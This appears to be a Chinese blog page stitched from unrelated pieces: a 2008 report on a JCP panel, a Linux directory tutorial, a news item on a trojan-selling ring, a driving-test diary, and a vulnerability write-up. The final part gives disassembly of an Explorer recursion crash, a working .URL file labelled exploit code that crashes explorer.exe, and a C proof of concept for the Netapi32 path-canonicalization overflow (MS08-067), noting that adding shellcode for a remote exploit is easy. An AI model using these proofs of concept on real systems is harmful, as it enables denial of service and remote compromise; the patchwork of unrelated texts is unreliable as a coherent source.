讨论首先从Belgian Java用户组（BeJUG）、JavaPolis及Parleys的的创建者Stephan Janssen开始。当Stephan被问到BeJUG为何能成为参与到JCP的两个Java用户组之一时，他说到这是因为他们参与到了BGGA Closures proposal中。他还提到由于经费的原因导致JUG很难参与到其中。Patrick Curran补充到尽管参与JCP并不是免费的，但对于非盈利的组织来说是有折扣的。

Michael Van Riper（Silicon Valley Web JUG和Silicon Valley Google Technology User Group的领导者）继续说到从他的经历来看，在JCP中根本就感受不到社区的那种氛围，至少在特定的JSR外是这样的。他又说到经费是个问题，并提议将JUG USA作为一个保护组织。

接下来发言的是Michael Ashley（Cultural Heritage Imaging的开发主管），他强调JCP缺少对公众的开放性。这一点也得到了Cay Horstmann（来自圣何塞州大学）的认同。他还强调对于标准化进行来说，透明度是很重要的，并提到了开放标准在教育上的价值。

之后，来自Artima的Bill Venners提出了这样一个问题：什么时候有必要去标准化一种语言，同时他得出了这样一个结论：标准只有具备多种实现时才有价值。在大多数其他情况下，最好是只有一个语言包。来自National Institute of Standards and Technology的Lynne Rosenthal说到基本的团队工作决定了标准组织的成败。同样熟悉官场并会说官话的人也是非常重要的。最后她说到领导者是JSR成功的关键要素。

Loretta Guarino Reid（Google可访问性工程团队的成员）被问到她的团队与伤残人士的协作程度如何。她说有很多伤残人士与他们一起工作，他们正在尽力让其所有文档都具有可访问性。她还提到他们想与听力有障碍的人一起工作，直到现在他们才开始实现这个目标。Rod Johnson（Spring framework之父）是最后一个发言的，他对过去JCP的运作方式是很有发言权的，同时他还在最近当选为JCP执行委员会的委员。他被问到为何他对JCP提出了这么多批评而还要加入到其中呢，他说他已经看到了一些积极的改变。他也强烈建议增加过程的透明度并让社区参与其中——成为“Java公民”。Patrick Curran为JCP过程进行了辩护，他说正常情况下所有的会议记录都会公开，同时他们正在构建一些群件（groupware）工具，这些工具将在站点的下一版中发布，它会对开放起到促进作用。Rod Johnson被问到“Java公民”是什么意思，他说作为Java社区的成员，人们有权利，也有特权去使用他们，为了实现这一点，人们需要参与其中。

一些观众提到对于普通的程序员来说，想参与JCP可不是那么容易的事，但Patrick Curran说实际上该过程对所有人都是开放的，真的没什么障碍。Rod Johnson补充说到一些开源项目组不需要对小事斤斤计较，然而Cay Horstmann提到对于普通人来说，要想直接参与到技术当中还是相当困难的。Stephan Janssen说整个过程都失去了透明性。

此时，一些观众抱怨规范太难理解了，他们提议建立一个开源的代码仓库、公共话题跟踪及邮件列表。Rod Johnson说规范不会告诉你某项技术是否能完成你所期望的事情。

在几个观众提到规范领导者应该走出来并大力发展社区后，InfoQ的主编Floyd Marinescu问到JCP是否考虑过为决定的“民主化”进行一些公众调查。Patrick Curran回应说他们还没有考虑过这么做，但他表示借助于为下一版的JCP站点所开发的新的协作工具，人们将有更多的机会参与进来。

有很多观众对OSGi上的Java模块化提出了反对意见，他们觉得这会导致混乱。而Patrick Curran却不这么认为，他说尽管他不是该领域的专家，但之所以做出这个决定是有很多技术上的原因的。

其中有个观众是某个规范的领导者，他说想与其他规范领导者联系上简直太难了，同时他也对JSR之间的人无法以简单、自然的方式进行交流这一事实提出了批评。Patrick Curran说过程确实是“丢了某些东西”，这时Rod Johnson又重复了自己的观点：更多的开放性会对此有所帮助。Cay Horstmann也承认了这个问题。观众依然坚持认为在规范领导者之间没有一种好的沟通方式，这时Rod Johnson说到哪怕在JSR之间存在着定义良好的范围依然会有问题，这会使事情变得更困难。

此后，一些观众又对文件的复杂性提出了批评，Patrick Curran说到合法的协议保证了JCP今后不会遇到法律上的问题。讨论一整天都在围绕着该主题进行，一直到结束。最后观众希望JCP能降低参与的门槛并减少一些文件，而Patrick Curran却说当前的情况是正常的。InfoWorld和JavaWorld都对座谈的这方面内容进行了报道。

随着社区不断要求JCP提供更多的开放性和更容易的参与性，让我们对过程的发展拭目以待吧。

原文：http://www.infoq.com/news/2008/11/qconsf08_jcp;jsessionid=E1030C8C61E78A9D3653FDD15A111335

    linux 系统的目录结构是分层的树形结构，挂载在根文件系统“／”下，下面列出了linux系统的目录结构：

drwxr-xr-x   2 root root  4096 11-24 00:56 bin
drwxr-xr-x   5 root root  1024 11-24 00:29 boot
drwxr-xr-x  13 root root  3820 11-24 02:02 dev
drwxr-xr-x 121 root root 12288 11-24 01:39 etc
drwxr-xr-x   3 root root  4096 11-24 01:03 home
drwxr-xr-x  15 root root 12288 11-24 00:50 lib
drwx------   2 root root 16384 11-24 00:22 lost+found
drwxr-xr-x   2 root root  4096 11-24 02:02 media
drwxr-xr-x   2 root root  4096 11-24 18:44 mnt
drwxr-xr-x   2 root root  4096 2008-04-08 opt
dr-xr-xr-x 165 root root     0 11-24 01:37 proc
drwxr-x---  30 root root  4096 11-24 18:45 root
drwxr-xr-x   2 root root 12288 11-24 00:56 sbin
drwxr-xr-x   7 root root     0 11-24 01:37 selinux
drwxr-xr-x   2 root root  4096 2008-04-08 srv
drwxr-xr-x  11 root root     0 11-24 01:37 sys
drwxrwxrwt  22 root root  4096 11-24 18:43 tmp
drwxr-xr-x  13 root root  4096 10-30 15:32 usr
drwxr-xr-x  22 root root  4096 11-24 00:56 var

下面详细介绍 linux目录结构中常用的子目录。

1、／ home

    包含用户宿主目录，即系统上的所有实际数据。将宿主目录分别分到自己的目录树或文件系统中易于备份，其他部分不必经常备份。

2、／ sbin

    类似于 ／bin，只有ROOT用户才能使用。

3、／ROOT

    ROOT用户的宿主目录。

4、／lib

    根文件系统上的程序所需的共享库和内核模块。

    /lib/modules 为核心可加载模块，特别是那些恢复损坏系统时引导所需的模块（例如网络和文件系统驱动）。

5、／dev

    包括所有设备的设备文件

6、／tmp

      用于存放各种临时文件。

7、／boot

    引导加载器时使用的文件，如GRUB。核心映像也经常在这里，而不是在根目录。

8、／mnt

     系统管理员临时挂载的安装点。程序并不自动支持安装到／MNT，／MNT 可以分为子目录。

9、／usr

    包含所有命令、库、MAN页和其他一般操作中所需的不改变的文件。／USR目录经常很大，因为所有程序都安装在这里。／USR里的所有文件一般来自linux distribution,本地安装的程序和其他数据在／USR／LOCAL下。这样在升级新版系统或新 distribution 时无须重新安装全部程序。

10、／proc

     ／proc文件系统是一个假的文件系统，它不存在某个磁盘上，而是由内核在内存中产生，用于提供系统的相关的相关信息。

11、／etc

    存放计算机系统的配置文件。

12、／var

    包含经常更改的文件，比如SPOOL目录、日志文件和暂存文件等。

扬州警方破获黑客制售木马病毒案

具体详情：http://video.sina.com.cn/news/s/l/v/2008-11-02/192024257.shtml

　扬州市警方经过数月缜密侦查，成功破获破坏计算机信息系统的大案，查扣涉案计算机30余台，缴获巨额赃款100万元以上，抓获20余涉案嫌疑人。据了解，目前该案已进入审查起诉阶段，记者对案件情况进行了更为详尽的采访。
    江苏电视台《1860新闻眼》今日播出“扬州警方破获黑客制售木马病毒案”，以上为节目视频。

        早上起来打开电脑发现怎么都连不上网,能想到的问题都试了一遍,最后实在没办法了,便向电信打电话.打电话的时候我还在想"丢人啊,学电脑这么长时间连自己的电脑上不了网都解决不了",一通电话电信的回答让我更是郁闷----"现在全市都上不了网,你别着急,应该很快就可以了."  

       不能上网,没办法放着音乐去洗了洗,回来后发现终于可以上网了,网上找了点关于php的教程学习着,可没到十分钟,驾校尽然打过来电话,说是今天要我考试.    天杀的驾校尽然今天临时通知我,没办法,硬着头皮去考吧..打了个电话给我的一个朋友,在我的死缠烂打之下终于在驾校的教练说的上午九点之前到了驾校.

      一个字"人他娘的真多"    ^-^

       教练的一句话真恨,十一点之后开始C本考试....MD.

       十一点、十一点半……怎么还没开始？

       十二点神秘的教练露面了，可以开始了，该死的教练临走扔下一句累死人不偿命的话“考驾照都别走昂，一直在旁边等着，很可能下一个考试的就是你们其中的一个，都听着念你们的名字”    闷

      等

      等

      等

      等

      可怜的我啊，竟然让我等到了下午四点，我的腿愣是一点儿也没有休息啊。  心里数了一下，今天站了七个小时啊！！！        我是今天去考试的所有人有倒数第三个，真他娘的郁闷啊。

汇编代码中际出错的地址:
7D5CE6B9  push    ecx
7D5CE6BA  lea    ecx, dword ptr [esp+8]
7D5CE6BE  sub    ecx, 1000
7D5CE6C4  sub    eax, 1000
7D5CE6C9  test    dword ptr [ecx], eax 异常地址
7D5CE6CB  cmp    eax, 1000
7D5CE6D0  jnb    short 7D5CE6BE
7D5CE6D2  sub    ecx, eax
7D5CE6D4  mov    eax, esp
7D5CE6D6  test    dword ptr [ecx], eax
7D5CE6D8  mov    esp, ecx
7D5CE6DA  mov    ecx, dword ptr [eax]
7D5CE6DC  mov    eax, dword ptr [eax+4]
7D5CE6DF  push    eax
7D5CE6E0  retn
　　2.详细分析
　　在IDA的反汇编中可知：
public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near
.text:7D6A112C                                        ; DATAnbsp;XREF: .text:7D5A327Co
.text:7D6A112C
.text:7D6A112C var_20A0        = dword ptr -20A0h
.text:7D6A112C var_209C        = dword ptr -209Ch
.text:7D6A112C var_2098        = dword ptr -2098h
.text:7D6A112C Srch            = word ptr -2094h
.text:7D6A112C var_104C        = dword ptr -104Ch
.text:7D6A112C var_4          = dword ptr -4
.text:7D6A112C arg_C          = dword ptr  14h
.text:7D6A112C arg_14          = dword ptr  1Ch
.text:7D6A112C arg_18          = dword ptr  20h
.text:7D6A112C
.text:7D6A112C                mov    edi, edi
.text:7D6A112E                push    ebp
.text:7D6A112F                mov    ebp, esp
.text:7D6A1131                mov    eax, 20A0h 局部堆栈长度
.text:7D6A1136                call    __chkstk 出错函数地址
.text:7D6A1136
.text:7D6A113B                mov    eax, ___security_cookie
.text:7D6A1140                push    ebx
.text:7D6A1141                mov    ebx, [ebp+arg_18]
.text:7D6A1144                push    esi
.text:7D6A1145                mov    esi, [ebp+arg_14]
.text:7D6A1148                push    edi
.text:7D6A1149                mov    edi, [ebp+arg_C]
.text:7D6A114C                push    edi
.text:7D6A114D                mov    [ebp+var_4], eax
.text:7D6A1150                call    ds:UrlGetLocationW(x)
.text:7D6A1156                push    0
.text:7D6A1158                mov    [ebp+var_2098], eax
.text:7D6A115E                push    6
.text:7D6A1160                lea    eax, [ebp+var_209C]
.text:7D6A1166                push    eax
.text:7D6A1167                lea    eax, [ebp+var_104C+2]
.text:7D6A116D                push    eax
.text:7D6A116E                push    edi
.text:7D6A116F                mov    [ebp+var_20A0], 824h
.text:7D6A1179                mov    [ebp+var_209C], 823h
.text:7D6A1183                call    ds:UrlGetPartW(x,x,x,x,x)
.text:7D6A1189                test    eax, eax
.text:7D6A118B                jl      short loc_7D6A11A1
.text:7D6A118B
.text:7D6A118D                cmp    [ebp+var_209C], 0
.text:7D6A1194                jz      short loc_7D6A11A1
.text:7D6A1194
.text:7D6A1196                mov    word ptr [ebp+var_104C], 3Fh
.text:7D6A119F                jmp    short loc_7D6A11A9
.text:7D6A119F
.text:7D6A11A1 ; ---------------------------------------------------------------------------
.text:7D6A11A1
.text:7D6A11A1 loc_7D6A11A1:                          ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj
.text:7D6A11A1                                        ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j
.text:7D6A11A1                and    word ptr [ebp+var_104C], 0
.text:7D6A11A1
.text:7D6A11A9
.text:7D6A11A9 loc_7D6A11A9:                          ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j
.text:7D6A11A9                push    0
.text:7D6A11AB                lea    eax, [ebp+var_20A0]
.text:7D6A11B1                push    eax
.text:7D6A11B2                lea    eax, [ebp+Srch]
.text:7D6A11B8                push    eax
.text:7D6A11B9                push    edi
.text:7D6A11BA                call    ds:PathCreateFromUrlW(x,x,x,x) 该函数递归
.text:7D6A11C0                test    eax, eax
.text:7D6A11C2                jl      short loc_7D6A121B
.text:7D6A11C2
.text:7D6A11C4                push    ebx            ; int
.text:7D6A11C5                push    esi            ; int
.text:7D6A11C6                xor    edi, edi
.text:7D6A11C8                push    edi            ; char
.text:7D6A11C9                push    edi            ; int
.text:7D6A11CA                lea    eax, [ebp+Srch]
.text:7D6A11D0                push    eax            ; lpSrch
.text:7D6A11D1                call    ILCreateFromPathEx(x,x,x,x,x)
　　总结:
　　由于对参数检查不严格，造成这段函数不停地递规调用自已，每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的，超过他的最大范围就出错了。当进行第28次调用以后，达到了windows堆栈所能允许的最大值，explorer程序异常退出。
　　3.利用代码　
      [InternetShortcut]
　　url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:
　　把以上文字保成成URL为后缀的文件，可以造成桌面程序(Expolore.exe)一直出错。

溢出 Netapi32.dll：
int main(int argc, char* argv[])
{
    WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";

    //ConvertPathMacros(szBuffer);
    //printf("%S\n", szBuffer);

    HMODULE h = LoadLibrary("netapi32.dll");
    if(h != NULL)
    {
        NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
        if(NetpwPathCanonicalize != NULL)
        {
            WCHAR Buffer[256] = L"";
            DWORD type = 1;
            DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
            printf("ret = %x\n", ret);
            printf("%S\n", Buffer);
        }
        FreeLibrary(h);
    }
    return 0;
}

漏洞的源头找到了，加个shellcode写个Remote Exploit不难。。。况且可以参考 MS06-040,

手工实现RPC通信等等。。。

Bulletin:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx